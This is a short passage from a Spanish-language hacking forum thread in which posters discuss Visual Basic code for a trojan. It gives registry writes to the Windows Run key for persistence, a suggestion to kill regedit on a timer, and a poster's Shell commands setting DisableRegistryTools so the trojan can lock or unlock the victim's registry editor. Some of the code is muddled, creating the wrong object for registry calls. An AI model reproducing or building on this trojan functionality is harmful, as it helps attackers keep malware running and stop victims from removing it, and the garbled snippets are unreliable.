si vas a borrar seria asi : cadena.regdelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
si vas a escribir en el seria :
cadena.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"

 Set cadena = CreateObject("Scripting FilesystemObject")

hay una forma q es con un timer revisar si esta activa la ventana del regedit y si lo esta q le mande un sendkeys o finaliza el proceso eso hago yo.
PD: espero q te sirva, avisa


Sancho.Mazorka      

ok gracias. Ya se como hacerlo, pues pq mi idea era ponerle una opcion al troyano de habilitar o deshabilitar el modificador de registros.

Para habilitarlo:

Private Sub Command1_Click()
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v DisableRegistryTools /t reg_dword /d ""0"" /f"
End Sub

Para deshabilitarlo:


Private Sub Command1_Click()
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v DisableRegistryTools /t reg_dword /d ""1"" /f"
End Sub

por lo k veo es imposible, mmm, ,, apenas k lo borre de windows??